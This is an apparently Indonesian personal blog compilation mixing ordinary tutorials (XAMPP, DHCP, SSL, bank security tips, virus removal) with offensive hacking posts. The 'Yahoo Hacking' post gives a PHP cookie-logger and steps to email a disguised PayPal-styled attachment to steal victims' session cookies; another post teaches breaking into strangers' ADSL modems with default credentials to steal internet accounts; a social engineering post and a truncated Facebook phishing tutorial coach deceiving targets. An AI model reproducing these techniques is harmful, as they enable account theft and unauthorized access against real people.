  • XAMPP Security 1.0
  • SQLite 2.8.15
  • OpenSSL 0.9.7e
  • PHPMyAdmin 2.6.1
  • ADODB 4.60
  • Mercury Mail Transport System for Win32 and NetWare Systems v4.01a
  • FileZilla FTP Server 0.9.4e
  • Webalizer 2.01-10
  • Zend Optimizer 2.5.7

Kebutuhan minimal komputer yang dibutuhkan untuk menjalankan adalah sebagai berikut :

  • 64 MB RAM (recommended)
  • 115 MB free Fixed Disk
  • Windows 98, ME, XP Home
  • Windows NT, 2000, XP Professional (Recommended)

Beberapa addons yang telah tersedia adalah :

  • Perl 5.8.6
  • mod_perl 1.999.22
  • Experimental Python 2.3.3
  • mod_python 3.1.3
  • Tomcat 5.0.28
  • mod_jk2/2.0.4
  • Cocoon 2.1.5.1.

Dengan fitur seperti itu rasa-rasanya Xampp dapat menggantikan fungsionalitas LAMP pada sistem operasi Windows. Bahkan Xampp juga dapat dijadikan web server yang aman dan handal pada sistem operasi Windows.

Buat Web PHP + database MySQL dengan tangan kosong

Posted by Fatkhan

 Kalau ingin membuat web dengan Dreamweaver atau Frontpage, mungkin semua orang bisa. Tapi web tersebut hanya web standar yang tidak mempunyai database sehingga orang hanya dapat melihat isi dari web tersebut , tanpa bisa ikut berpastisipasi seperti memberikan komentar. Kalau mau bikin web PHP dengan database, kita kan perlu belajar PHP programming? Tidak juga… Sekarang banyak tools web template yang open source (ada source programnya sehingga bisa di ubah-ubah)dan GRATIS tentunya. Nah simak liputan kami tentang beberapa tools yang kami anggap mudah dan bagus untuk membuat website PHP lengkap dengan database. Untuk mencoba membuat web dengan php + mysql di komputer lokal, anda perlu menginstall software php dan mysql dahulu di komputer anda. Software php bisa anda download di: http://www.php.net/downloads.php

Untuk mysql, sebaiknya anda pakai yang versi 4.0, karena versi 5.0 masih baru dan belum banyak tools open source yang sudah bisa memanfaatkannya. anda bisa download di: http://www.mysql.com/

Kalau anda langsung memasukkannya di Internet, akan jauh lebih mudah, karena rata-rata Internet server di dunia maupun Indonesia, telah dilengkapi dengan fasilitas yang dapat membaca php dan mysql. Anda tinggal membuat database mysql saja di control panel web anda (hubungi provider web anda atau tempat anda menyewa server (web hosting) kalau tidak jelas caranya).

Berikut adalah beberapa tools Open Source yang berguna bagi anda untuk membuat web php dengan database mysql dari pertama:


Drupal
Ini merupakan salah satu tools yang kami anggap mudah sekali dan dengan download yg kecil (< 500KB) untuk membuat web, anda juga bisa merubah design dan tampilan dr web anda. Berikut adalah infonya yang kami kutip dari web-nya:
Drupal is an open-source platform and content-management system for building dynamic Web sites. It offers a broad range of features and services including user administration, publishing work flow, discussion capabilities, news aggregation, metadata functionalities using controlled vocabularies, and XML publishing for content-sharing purposes. Equipped with a powerful blend of features and configurability, Drupal can support a diverse range of Web projects ranging from personal Weblogs to large community-driven sites.

download Drupal di sini

Postnuke
Kalau anda menginginkan fitur web php + mysql database dengan fitur yang lebih lengkap dengan adanya forum, web chat, search dan security, anda bisa coba yang satu ini. Di bawah ini, adalah info yang kami kutip dari web-nya:
Some may see Postnuke (PN) as a weblog or content management system. But PN is more than that, PostNuke is a community, content, collaborative management system, a C3MS. It’s your electronic toolbox, a set of tools allowing you to build a dynamically generated web site that five years ago would have cost hundreds of thousands of dollars to launch.

Download Postnuke di sini
Forum tanya jawab di: http://forums.postnuke.com/
Postnuke Manual + FAQ di: http://news.postnuke.com/FAQ.html

Kalau anda kebetulan mengerti sedikit PHP dan ingin men-desain ulang program open source PHP yang anda dapat, anda bisa memakai program PHP Designer. Program ini GRATIS dan anda bisa download programnya di sini

Kalau anda ingin web yang khusus hanya untuk forum saja atau berisi forum saja (web forum), atau anda ingin memasukan forum terpisah dari web, anda bisa download PHP Bulletin Board di: http://www.phpbb.com/

Tutorial Membangun DHCP Server

Posted by Fatkhan
1. Apakah DHCP itu?
DHCP kependekan dari Dynamic Host Configuration Protocol, yaitu protokol yang menangani permintaan hal2 penting yang direquest oleh host, seperti IP address, subnet mask, DNS server, default router...

2. Apakah DHCP server itu?
DHCP server adalah suatu server yang men-assign IP address kepada host yang meminta IP address dll dalam suatu jaringan.

3. Kapan DHCP digunakan?
Jika di dalam suatu jaringan terdapat jumlah komputer yang tidak terlalu banyak, misalnya cuma 10 biji doang, IP address bisa di-assign di tiap2 host secara manual... tetapi bayangin kalo dalam suatu jaringan terdapat 200 komputer, apakah sang admin men-assign satu per satu?? Wah kerajinan banget ya??
Maka itu, untuk men-assign IP address ke tiap2 host, cukup dengan membangun DHCP server (bisa terpisah/standalone dari gateway, maupun menyatu dengan gateway). Dengan begitu, tiap2 host akan secara otomatis mendapat IP address dari DHCP server.

4. Bagaimana cara membangun DHCP server?

Sebelumnya kita asumsikan bahwa:
network ID 192.168.1.0
subnet mask 255.255.255.0
IP broadcast 192.168.1.255.
IP gateway 192.168.1.1
DNS server 202.155.0.10, 202.155.0.15
jumlah IP yang ditawarkan dari 192.168.1.10 sampe 192.168.1.29, berarti ada 20 IP yang bisa diberi...


a) Instalasi
Buka terminal, login sebagai root dengan mengetikkan
root@localhost: /#su -
kemudian masukkan password root.
Setelah login sebagai root, ketikkan:
root@localhost: /#apt-get install dhcp3-server
---> yaitu untuk menginstall paket dhcp3-server dari internet
setelah instalasi, pasti akan muncul pesan seperti ini:
Generating /etc/default/dhcp3-server...
Starting DHCP server: dhcpd3 failed to start - check syslog for diagnostics.
invoke-rc.d: initscript dhcp3-server, action start failed.

Pesan diatas itu wajar, wong kita belom konfigurasi apa2 kok... gimana DHCP servernya mau jalan?? ya gak?


b) Konfigurasi
file konfigurasi terdapat pada /etc/dhcp3/dhcpd.conf, dan pada saat instalasi, isi dari dhcpd.conf merupakan sample aja kok.

Untuk amannya, kita bikin salinannya ya, dengan mengetikkan:
root@localhost: /#cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
nah kalo udah, baru deh kita kosongin file dhcpd.conf yang aslinya dengan mengetikkan:
root@localhost: /#cat /dev/null > /etc/dhcp3/dhcpd.conf
setelah itu baru deh kita edit file dhcpd.conf dengan teks editor favorit kita (gw pribadi lebih suka pake vi), so gw ketiknya:
root@localhost: /#vi /etc/dhcp3/dhcpd.conf

Dengan asumsi-asumsi diatas yang sudah saya contohkan sebelumnya, isi file dhcpd.conf dengan baris2 berikut ini :

ddns-update-style none;

option domain-name-servers 202.155.0.10, 202.155.0.15;

default-lease-time 86400;
max-lease-time 604800;

authoritative;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.29;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
}



c) Jalankan Service DHCP Server
Setelah file dhcpd.conf dikonfigurasi, servicenya harus dijalankan dengan mengetikkan:
root@localhost: /#/etc/init.d/dhcp3-server restart
Setelah service berjalan, coba colok kabel dari DHCP server ke host, pasti si host akan mendapat IP address, subnet mask, broadcast address, DNS server, default gateway, semuanya secara otomatis.

Gampang kq...coba dulu klo masih ga bisa...lebih banyak lagi berdoa dan dekatkan diri sama OM localhost. . .hehehe..

Tips & Trik Twitter

Posted by Fatkhan

Jika anda baru memiliki akun twitter dan ingin memperbanyak pengikut anda, ada satu tips mantap dari saya:

1.masuk ke http://twittercounter.com

2.follow the most top ten yamg ada di halaman pertama, dari aplusk sampai barack obama

3. Dua atau tiga hari kemudian anda unfollow lagi mereka , lalu besok nya anda follow lagi seperti pada tips no.2

lakukan ini selama 2 minggu dan anda akan mendapat ribuan follower tanpa harus bersusah payah.. mengapa bisa begitu … ini rahasianya:

The most Top ten adalah selebrity olahragawan ,bahkan presiden maka tidak lah heran jika pengikut mereka banyak, nah Anda bisa mengambil keuntungan sedikit dari mereka, pada umumnya para pengikut mereka atau orang yang akan follow mereka sudah pasti akan melihat siapa saja followers nya dan minimal mereka akan follow 1 sampai 5 halaman yg ada di followers mereka, nah jika anda baru saja mengklik follow maka otomatis anda akan ada di halaman pertama, dan sudah pasti ikut difollow oleh para pengaggum mereka, sya sudah buktikan sendiri metode ini, dan dalam 2 minggu saya mendapat 2000 lebih follower , lumayan bukan :) )

Anda bisa lihat di: http://twitter.com/fatkhan

sekian dulu for today , akan saya sambung lagi dengan tips2 menarik berikutnya, jangan lupa follow twitter saya: @fatkhan

Social engineering (keamanan)

Posted by Fatkhan

Nih ada Postingan Dikit Tentang Social Enginerring, Mudah-mudahan Bisa Berguna Untuk referensi anda-anda ...klo yang udah pada tau ga perlu baca, langsung cabut aja atau cari artikel lain aja...hehehe!!

Social engineering adalah pemerolehan informasi atau maklumat rahasia/sensitif dengan cara menipu pemilik informasi tersebut. Social engineering umumnya dilakukan melalui telepon atau Internet. Social engineering merupakan salah satu metode yang digunakan oleh hacker untuk memperoleh informasi tentang targetnya, dengan cara meminta informasi itu langsung kepada korban atau pihak lain yang mempunyai informasi itu.

Social engineering mengkonsentrasikan diri pada rantai terlemah sistem jaringan komputer, yaitu manusia. Seperti kita tahu, tidak ada sistem komputer yang tidak melibatkan interaksi manusia. Dan parahnya lagi, celah keamanan ini bersifat universal, tidak tergantung platform, sistem operasi, protokol, Software ataupun Hardware. Artinya, setiap sistem mempunyai kelemahan yang sama pada faktor manusia. Setiap orang yang mempunyai akses kedalam sistem secara fisik adalah ancaman, bahkan jika orang tersebut tidak termasuk dalam kebijakan kemanan yang telah disusun. Seperti metoda hacking yang lain, social engineering juga memerlukan persiapan, bahkan sebagian besar pekerjaan meliputi persiapan itu sendiri.


Faktor utama

Di balik semua sistem keaman dan prosedur-prosedur pengamanan yang ada masih terdapat faktor lain yang sangat penting, yaitu : manusia.

Pada banyak referensi, faktor manusia dinilai sebagai rantai paling lemah dalam sebuah sistem keamanan. Sebuah sistem keamanan yang baik, akan menjadi tidak berguna jika ditangani oleh administrator yang kurang kompeten. Selain itu, biasanya pada sebuah jaingan yang cukup kompleks terdapat banyak user yang kurang mengerti masalah keamanan atau tidak cukup peduli tentang hal itu. Ambil contoh di sebuah perusahaan, seorang network admin sudah menerapkan kebijakan keamanan dengan baik, namun ada user yang mengabaikan masalah kemanan itu. Misalnya user tersebut menggunakan password yang mudah ditebak, lupa logout ketika pulang kerja, atau dengan mudahnya memberikan akses kepada rekan kerjanya yang lain atau bahkan kepada kliennya. Hal ini dapat menyebabkan seorang penyerang memanfaatkan celah tersebut dan mencuri atau merusak datadata penting perusahaan.

Atau pada kasus di atas, seorang penyerang bisa berpura-pura sebagai pihak yang berkepentingan dan meminta akses kepada salah satu user yang ceroboh tersebut. Tindakan ini digolongkan dalam Social Engineering.


Metode

Metode pertama adalah metode yang paling dasar dalam social engineering, dapat menyelesaikan tugas penyerang secara langsung yaitu, penyerang tinggal meminta apa yang diinginkannya: password, akses ke jaringan, peta jaringan, konfigurasi sistem, atau kunci ruangan. Memang cara ini paling sedikit berhasil, tapi bisa sangat membantu dalam menyelesaikan tugas penyerang.

Cara kedua adalah dengan menciptakan situasi palsu dimana seseorang menjadi bagian dari situasi tersebut. Penyerang bisa membuat alasan yang menyangkut kepentingan pihak lain atau bagian lain dari perusahaan itu, misalnya. Ini memerlukan kerja lanjutan bagi penyerang untuk mencari informasi lebih lanjut dan biasanya juga harus mengumpulkan informasi tambahan tentang ‘target’. Ini juga berarti kita tidak harus selalu berbohong untuk menciptakan situasi tesebut, kadangkala fakta-fakta lebih bisa diterima oleh target.

Sebagai contoh seperti ini: seorang berpura-pura sebagai agen tiket yang menelepon salah satu pegawai perusahaan untuk konfirmasi bahwa tiket liburannya telah dipesan dan siap dikirim. Pemesanan dilakukan dengan nama serta posisi target di perusahaan itu, dan perlu mencocokkan data dengan target. Tentu saja target tidak merasa memesan tiket, dan penyerang tetap perlu mencocokkan nama, serta nomor pegawainya. Informasi ini bisa digunakan sebagai informasi awal untuk masuk ke sistem di perusahaan tersebut dengan account target. Contoh lain, bisa berpura-pura sedang mengadakan survei hardware dari vendor tertentu, dari sini bisa diperoleh informasi tentang peta jaringan, router, firewall atau komponen jaringan lainnya.

Cara yang populer sekarang adalah melalui e-mail, dengan mengirim e-mail yang meminta target untuk membuka attachment yang tentunya bisa kita sisipi worm atau trojan horse untuk membuat backdoor di sistemnya. Kita juga bisa sisipkan worm bahkan dalam file .jpg yang terkesan “tak berdosa” sekalipun.

Cara-cara tersebut biasanya melibatkan faktor personal dari target: kurangnya tanggung jawab, ingin dipuji dan kewajiban moral. Kadang target merasa bahwa dengan tindakan yang dilakukan akan menyebabkan sedikit atu tanpa efek buruk sama sekali. Atau target merasa bahwa dengan memenuhi keinginan penyerang-yang berpura-pura akan membuat dia dipuji atau mendapat kedudukan ynag lebih baik. Atau dia merasa bahwa dengan melakukan sesuatu akan membantu pihak lain dan itu memang sudah kewajibannya untuk membantu orang lain. Jadi kita bisa fokuskan untuk membujuk target secara sukarela membantu kita, tidak dengan memaksanya. Selanjutnya kita bisa menuntun target melakukan apa yang kita mau, target yakin bahwa dirinya yang memegang kontrol atas situasi tersebut. Target merasa bahwa dia membuat keputusan yagn baik untuk membantu kita dan mengorbankan sedikit waktu dan tenaganya. Semakin sedikit konflik semakin baik.

Riset psikologi juga menunjukkan bahwa seorang akan lebih mudah memenuhi keinginan jika sebelumnya sudah pernah berurusan, sebelum permintaan inti cobalah untuk meminta target melakukan hal-hal kecil terlebih dahulu.

Security yang di Terapkan BNI Internet Banking

Minggu, 29 November 2009
Posted by Fatkhan

BNI Internet Banking mempunyai sistem pengamanan sebagai berikut :

  1. Menggunakan sistem keamanan standar internasional dengan enskripsi SSL128 bit oleh Verisign. SSL 128 bit (Secure Socket Layer), yaitu lapisan pertama sistem pengamanan BNI Internet Banking yang lazim digunakan dalam dunia perbankan. Dengan menggunakan SSL ini, semua data yang dikirimkan dari server BNI Internet Banking ke komputer nasabah dan sebaliknya selalu melalui proses enkripsi (acak secara sistem) dengan menggunakan sandi 128-bit yang hanya diketahui oleh komputer nasabah dan server BNI Internet Banking. Dengan demikian, pihak-pihak lain tidak akan dapat mengartikan transmisi data tersebut apabila menerimanya.
  2. Pengamanan pintu akses BNI Internet Banking dengan firewall.
  3. Proses registrasi Layanan BNI Internet Banking dilakukan melalui BNI ATM menggunakan PIN BNI Card.
  4. Proses aktivasi melalui www.bni.co.id atau langsung ke https://ibank.bni.co.id menggunakan PIN registrasi dan nomor BNI Card yang digunakan untuk registrasi di BNI ATM.
  5. User ID dan Password dibuat oleh Pengguna saat aktivasi BNI Internet Banking, berupa kombinasi alphabet dan numeric (alphanumeric).
  6. Password BNI Internet Banking dapat diubah kapan saja oleh Pengguna BNI Internet Banking.
  7. Sistem BNI Internet Banking dilengkapi dengan session time out dimana akan otomatis Log Off.
  8. Alat tambahan untuk transaksi finansial menggunakan BNI e-Secure yang akan menghasilkan kombinasi angka yang berubah-ubah (dynamic PIN) setiap kali Pengguna melakukan transaksi.
  9. PIN BNI e-Secure dibuat oleh Pengguna dan digunakan setiap kali mengaktifkan/ menyalakan BNI e-Secure
  10. BNI e-Secure akan otomatis mati apabila tidak digunakan dalam waktu 45 (empat puluh lima) detik
  11. Pemblokiran layanan BNI Internet Banking dilakukan oleh Pengguna melalui permintaan kepada BNI PhonePlus melalui BNI Call.
  12. Limit transaksi finansial per hari dibatasi.
  13. Bukti transaksi BNI Internet Banking dapat dicetak dan atau disimpan sesuai keperluan pengguna.
Apa yang dapat saya lakukan untuk memaksimalkan keamanan layanan BNI Internet Banking?
  1. Buatlah User ID & Password BNI Internet Banking yang tidak mudah ditebak tetapi gampang diingat
  2. Rahasiakan Password BNI Internet Banking Anda dan jangan pernah memberitahukannya kepada orang lain
  3. Lakukan perubahan Password BNI Internet Banking secara berkala
  4. Jangan tinggalkan computer Anda saat Login ke layanan BNI Internet Banking dan selalu klik “logout” jika sudah selesai menggunakan
  5. Tolak layanan simpan otomatis User ID dan Password BNI Internet Banking pada saat browser menawarkan peyimpanan otomatis
  6. Jangan gunakan User ID atau Password atau Informasi pribadi lainnya ( Nomor rekening, Nomor Kartu ATM dan lain sebagainya) pada web-site yang tidak dikenal.
  7. Jika menggunakan koneksi dan alat nirkabel pastikan bahwa kemanannya cukup /memadai
  8. Biasakan untuk menghapus browser cache dan history setiap selesai bertransaksi
  9. Lindungi komputer anda dari virus dan program berbahaya lainnya
  10. Biasakan untuk melakukan check saldo rekening dan mutasi transaksi secara teratur
  11. Segera beritahukan kepada kami melalui BNI Call di 021 5789 9999 atau 68888 melalui ponsel Anda, jika mendapat masalah atau sesuatu yang mencurigakan

Apakah aman bertransaksi lewat warnet?

Kami tidak menyarankan anda untuk bertransaksi di komputer milik umum atau warnet. Umumnya komputer di tempat umum rentan terhadap virus dan program yang dapat me-record apa yang diketik atau “keylogger”. Bukan mustahil program tersebut sengaja dibuat untuk membaca apapun yang anda ketikkan (termasuk User ID dan Password BNI Internet Banking Anda), untuk kemudian diambil atau dikirimkan kepada sang pembuat program dan digunakan untuk mengambil manfaat. Tetapi jika sampai hal tersebut terjadi BNI Internet Banking tetap aman karena dilengkapi dengan BNI e-Secure, hal paling buruk yang terjadi adalah orang tersebut hanya dapat melihat saldo dan mutasi transaksi.

Bagaimana cara menghindari penipuan bermodus phishing

Apa itu phishing?

Phishing, adalah tindakan memperoleh informasi pribadi seperti User ID, Password, nomor rekening bank, nomor kartu ATM Anda secara tidak sah. Informasi ini kemudian akan dimanfaatkan oleh pihak penipu untuk mengakses rekening, melakukan penipuan kartu ATM atau memandu nasabah untuk melakukan transfer ke rekening tertentu dengan iming-iming hadiah.

Bagaimana Phishing dilakukan?

Teknik umum yang sering digunakan oleh penipu adalah sebagai berikut:
  1. Penggunaan alamat e-mail palsu dan grafik untuk menyesatkan Nasabah sehingga Nasabah terpancing menerima keabsahan e-mail atau web sites. Agar tampak meyakinkan, pelaku juga seringkali memanfaatkan logo atau merk dagang milik lembaga resmi, seperti; bank atau penerbit kartu kredit. Pemalsuan ini dilakukan untuk memancing korban menyerahkan data pribadi, seperti; password, PIN dan nomor kartu kredit.
  2. Membuat situs palsu yang sama persis dengan situs resmi atau pelaku phishing mengirimkan e-mail yang berisikan link ke situs palsu tersebut.
  3. Membuat hyperlink ke web-site palsu atau menyediakan form isian yang ditempelkan pada e-mail yang dikirim

Bagaimana cara menghindari Phishing?

Jangan mudah terpancing untuk mengikuti arahan/petunjuk apapun sehubungan informasi rekening, yang dianjurkan pada e-mail yang dilink ke situs bank tertentu. Jika Anda menerima e-mail sejenis ini dan mengatasnamakan BNI, berhati-hatilah. BNI menerapkan kebijakan untuk tidak meminta pemilik rekening/Nasabah mengup-date data melalui sarana e-mail.

Jika Anda menerima e-mail seperti ini, segera laporkan kepada pihak BNI

Langkah-langkah apa yang harus dilakukan untuk memproteksi diri dari penipuan Phishing?

Berikut langkah memproteksi diri dari penipuan bermodus phishing:
  1. Selalu ketikan URL yang lengkap untuk alamat situs / web-site resmi bank, yaitu: www.bni.co.id pada menu bar di browser Anda
  2. Jangan pernah membagi atau memberikan User ID atau Password BNI Internet Banking Anda pada orang lain bahkan staf BNI sekalipun. BNI tidak pernah menanyakan Password BNI Internet Banking untuk alasan apapun
  3. Jika Anda mendapatkan e-mail yang berisi pemberitahuan bahwa BNI akan menutup rekening atau User ID Anda, jika tidak melakukan konfirmasi dengan data-data pribadi, jangan reply atau mengklik link yang ada pada e-mail tersebut
  4. Jangan terpancing untuk mengikuti anjuran melakukan transfer ke rekening tertentu, dengan tujuan mendapatkan hadiah undian

Perlukah melaporkan lokasi phishing atau e-mail yang mencurigakan?

Jika Anda memiliki pertanyaan tentang e-mail yang dikirimkan oleh BNI atau bila Anda merasa bahwa seseorang sedang mencoba melakukan penyalahgunaan atas nama BNI, segera hubungi BNI Call melalui 021 5789 9999 atau 68888 melalui ponsel Anda untuk melakukan konfirmasi

SSL (Secure Socket Layer)

Posted by Fatkhan
SSL (Secure Socket Layer) adalah salah satu metode enkripsi dalam komunikasi data yang dibuat oleh Netscape Communication Corporation.

SSL merupakan sebuah protokol berlapis. Dalam tiap lapisannya sebuah data terdiri dari panjang, deskripsi dan isi. SSL mengambil data untuk dikirimkan, dipecahkan kedalam blok-blok yang teratur, kemudian dikompres jika perlu, menerapkan MAC, dienkripsi, dan hasilnya dikirimkan. Di tempat tujuan, data didekripsi, verifikasi, dekompres, dan disusun kembali. Hasilnya dikirimkan ke klien di atasnya. Terjemahan dari SSL Protocol Internet Draft (The SSL Protocol, Version 3.0 oleh ALAN O. FREIER dan PAUL C. KOCHER, dapat Anda buka di http://home.netscape.com/eng/ssl3/ssl-toc.html.

SSL hanya mengenkripsikan data yang dikirim lewat http. Aturan SSL di disain untuk melakukan:
1. Encryption, untuk mengatasi eavesdropping
2. Data integrity, untuk mengatasi manipulation
3. Authentication, untuk mengatasi impersonation

Bagaimana SSL berjalan dapat digambarkan sebagai berikut :
  • Pada saat koneksi mulai berjalan, klien dan server membuat dan mempertukarkan kunci rahasia, yang dipergunakan untuk mengenkripsi data yang akan dikomunikasikan. Meskipun sesi antara klien dan server diintip pihak lain, namun data yang terlihat sulit untuk dibaca karena sudah dienkripsi.
  • SSL mendukung kriptografi public key, sehingga server dapat melakukan autentikasi dengan metode yang sudah dikenal umum seperti RSA dan Digital Signature Standard (DSS).
  • SSL dapat melakukan verifikasi integritas sesi yang sedang berjalan dengan menggunakan algoritma digest seperti MD5 dan SHA. Hal ini menghindarkan pembajakan suatu sesi.
Perlu dipahami bahwa SSL hanya akan memproteksi data kita pada saat transmisi saja. Hal ini yang disebut network security. Protokol SSL sama sekali tidak akan memproteksi data - sebelum maupun sesudah dilakukan komunikasi. Artinya kita harus percaya penuh bahwa penjual / merchant tidak memberikan nomor kartu kredit yang kita miliki ke orang lain pada bisnis online.

Oleh karena itu, banyak perusahaan E-commerce dan Banking yang sudah menggunakan SSL 128 bit untuk menjaga keamanan websitenya yang artinya akan membutuhkan waktu kira-kira 12.710.204.652.610.000.000.000.000 tahun untuk membobol informasi yang di enkripsi menggunakan RC4 yang dipakai di SSL, lumayan lama kan..

Walaupun informasi yang di enkripsi oleh SSL 128 bit sudah cukup sulit untuk bisa dibobol bukan berarti informasi tersebut akan selamanya aman dari para penjahat cyber dan tidak selamanya SSL akan melindungi informasi dari beberapa hal, misal :
* Denial of Services
* Buffer overflow
* Man-in-the-middle attack
* Cross scripting attack

Dan masih ada kemungkinan bahwa di SSL masih terdapat banyak celah keamanan yang bisa dilakukan dengan beberapa teknik.

About Salitiy

Selasa, 24 November 2009
Posted by Fatkhan
Virus “Salitiy”

virus yang udah pernah tenar pada tahun 2003 kini kembali muncul dengan aksi yang lebih
“Berbahaya “….dari sebelumnya
virus ini dimasukkan kedalam kategory parasit abiz………..karena sasarannya file yang berekstensi exe……..

Salitiy menginfeksi setiap file yang berekstensi exe…………j Wal hasil ukuran file asli membengkak menjadi sekitar
20KB. Bagusnya lagi Salitiy meletakkan source code nya pada empty
segmen pada file yang ditumpangi dan mengubah entry poit asli ke bagun
awal tubunya sehingga yang pertama kali dijalankan adalah source code
palsu dan terkadang membuat file induk menjadi korup. PAda umunya file
induk langsung menutup diri sesaat dijalankan.
enyebarannya bisa dibilang “unik” karena setelah menginfeksi suatu
file EXE (PE), maka file yang baru terinfeksi tersebut yang akan
meneruskan aksi virusnya dan begitu seterusnya akanmencari korban
lainnya. Pada saat file yang terinfeksi di-kill, bukan mati aksinya
tapi diambil alih oleh predecessor- nya.

Untuk itu ada cara yang aman untuk menghilangkan virus ini tanpa mendelete langsung, dan saya sarankan (berdasarkan pengalaman) menggunakan cara ini:

1. download rmsality, virus removal khusus untuk virus sality dari Grisoft (produsen AVG), berisi tiga file yang harus anda dowload ke dalam satu folder http://free.grisoft.com/ww.virus-removal.ndi-67769
2. download fileASSASSIN http://www.malwarebytes.org/fa-setup.exe

===============================================
Langkah-langkah CARA NGATASINNYA...!!

1. Installkan dan jalankan fileASSASSIN dan arahkan / ketik di menu browsenya ke c:\windows\system32\wmdrtc32.dll delete file-nya di cheklist kemudian klik execute. ulangi untuk file yang kedua c:\windows\system32\wmdrtc32.dl_
2. jalankan program rmsality yang sudah di download dan biarkan melakukan proses scanning secara keseluruhan. setelah selesai anda akan mendapatkan beberapa file yang tidak bisa di clean (failed to clean) dan antivirus meminta anda untuk mereboot system. (anda juga bisa melakukan scanning per-drive dengan cara masuk ke menu run, kemudian ketik cmd, kemudian masuk ke direktori rmsality dimana anda menyimpannya, kemudian ketik contoh: rmsality c:
3. reboot system. untuk meyakinkan silahkan scan lagi dengan antivirus yang lain, seperti ANSAV, AVG dll

Yahoo Hacking

Posted by Fatkhan
Seperti yang telah kita ketahui .. XSS merupakan salah sebuah jenis serangan yang paling berbahaya dalam dunia
berinternet dan hacking .. Akan tetapi, percayakah anda bahwa jenis serangan inipun kerapkali menyerang berbagai
perusahaan raksasa seperti hotmail bahkan yahoo?? Dalam video ini kita akan sedikit bahas mengenai yahoo yang
terkena jenis serangan sejenis ini ..

Tidak percaya?! Mari kita buktikan :D

Pertama tama anda membutuhkan script ini:


User required to use Internet Explorer to view this file.html>

Yang kemudian perlu anda masukan kedalam file *.html
dan kemudian perlu anda attach dalam sebuah email .. :D

Selain itu andapun memerlukan file *.php yang berisikan script ini:
$cookie = $_GET['id'];
$cook = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, '
idu lu ala: ' .$cookie. 'Cookie: '.$cook.'
IP: ' .$ip. '
Referer: '.$referer.'


')
;
fclose($fp);
?>

Jangan lupa juga untuk menghostingkannya dalam hosting yang bisa accpet PHP..
Selain itu juga jgn lupa untuk membuat file cookies.txt dalam directory yang sama dengan script ini ..

Setelah memiliki script .php tadi dan setelah menghostingkannya dalam hosting server yang layak ..
Sekarang yang kita perlukan adalah mengirimkan scirpt pertama secara attachment ke email korban ..
Untuk membuat korban tidak curiga .. Ada baiknya script tersebut disisipkan dalam HTML code lain :D
Dalam kasus ini saya menggunakan Paypal Letters :D

Now .. WHen ur victim membuka email mereka dengan menggunakan Internet Explorer ..
Mereka akan mendapatkan email tersebut hanya sebagai notifikasi letters dari Paypal ..
Berikut contohnya :D

Yay !!!
Paypal letters!!!
But.. Is that all ?? :D

OWNED!!!!
Hahaha
U've got the Cookies !!!
Nice, huh?! :D

Sekarang bagaimana kita memanfaatkan cookie tersebut?!
Mudah saja .. Yang anda perlukan adalah Y dan T .. :D

Berikut adalah contoh yang akan saya lakukan menggunakan account orang philliphine yang kena tipu muslihat paypal xD

woops!!
My bad ..
My victim changed his Pass already ;D

Coba kita gunakan pass pribadi :D

Logged in after logout .. And its WITHOUT PASSWORD !!!
Hehehehe
OWNED !!!

Well .. Mohon maaf karena tadi contoh yang saya berikan sudah mengganti password nya ..
I've got some more .. Tapi gak isa dipercobakan 1 per 1 :D
Yay!!!
Hhahaha

Hacking Modem ADSL dan Account Speedy

Posted by Fatkhan
Ehm,, numpang post lagi nee,,
sebenarnya saya sangat malu menggunakan kata "hack" di
atas, maklum sebagai seorang newbie saya belum pantas menggunakan
kata tersebut,, apalagi taknik yang akan dituliskan ini
hanya merupakan cara yang cukup sederhana dan sudah banyak di pasaran
tapi karena mungkin masih ada yang belum tau jadi izeng² saya posting aja.. hehe..

ehm.. sebelumnya yang sudah merasa master sangat disarankan untuk berhenti membaca tulisan ini..

jadi langsung saja...
logikanya sepert ini ;
- Mecari target
- Mencoba login ke Modemnya
- Lock The Target
Sekedar cerita, saya pernah berkenjung ke warnet teman saya
setelah bosan maen games (skill saya cuma bisa maen game.. hiz..hikz..),
tanpa sengaja http://my-ip.info terbuka dengan sendirinya,
http://img187.imageshack.us/img187/180/82089312.jpg
trus iseng² saya memasukkan IP saya pada browser.. dan browser langsung
memunculkan menu pop-up untuk meminta username n passwd dari modem yang digunakan..
http://img7.imageshack.us/img7/5558/50068153.jpg
kemudian saya memasukkan default username dan passwd modem ADSL
yaitu admin:admin dan bummmmmmm..!!!! Berhasil masuk ke dalam system modem tersebut..
http://img7.imageshack.us/img7/6600/97887189.jpg

Kalian bisa mendapatkan hasil yang lebih besar dengan melakukan scanning IP range dari 1-255 dari IP yang kalian temukan.
http://img20.imageshack.us/img20/7825/52878992.jpg
http://img20.imageshack.us/img20/2962/24774598.jpg
Untuk mendapatkan IP dari account speedy, kebanyakan bisa ditemukan di IRC, dengan join ke channel² yang ramai dikunjungi dan
melakukan /who #namachannnel pada status server (seperti dalnet)
http://img20.imageshack.us/img20/3293/15787255.jpg
http://img205.imageshack.us/img205/6918/91341146.jpg
or bisa menggunakan sedikit SocEng pada user² dalam channel kemudian
melakukan /whois nick untuk mendapatkan IPnya, itu juga untuk memastikan bahwa target kita bukan sebuah bot.

Yang pasti intinya yaitu mencoba masuk pada modem ADSL target dengan memanfaatkan pemahaman kita tentang username n passwd modem ADSL,, dan apabila berhasil login dan masuk pada system modem tersebut, kita bisa melakukan apa saja terhadap korban mulai dari memblock URL sampai pencurian account speedy (hehe.. Inet gratis dund)
tergantung kekreatifan kalian.. ^_^ (

Hack Facebook

Posted by Fatkhan
Nah di topik perdana ini akan saya tulis secara lebih rinci tentang teknik Phishing
(teknik phishing adalah teknik yang digunakan untuk meminta agar calon korban memberikan data accountnya)
dengan memadukan 2 teknik,yaitu
1. Social Engineering,
2. Manipulasi Link,

Cara yg pertama di gunakan untuk melakukan pendekatan secara mental ke si Target dengan cara apapun.karena kita ada di dunia electronik maka kita juga harus menggunakan pendekatan secara elektronik..
ya itu dengan cara yg paling simple,,yaitu mengirimkan e-mail ( bukan amel ya ) ke korban untuk meminta secara langsung account si target,tp ap mungkin?
----------------
jangan patah semangat dulu,cari gorengan ato cemilan dulu, segelas energen, ato foto pacar bwt tambah semangat..
nah kl udah sekrang waktunya untuk Taking Action..
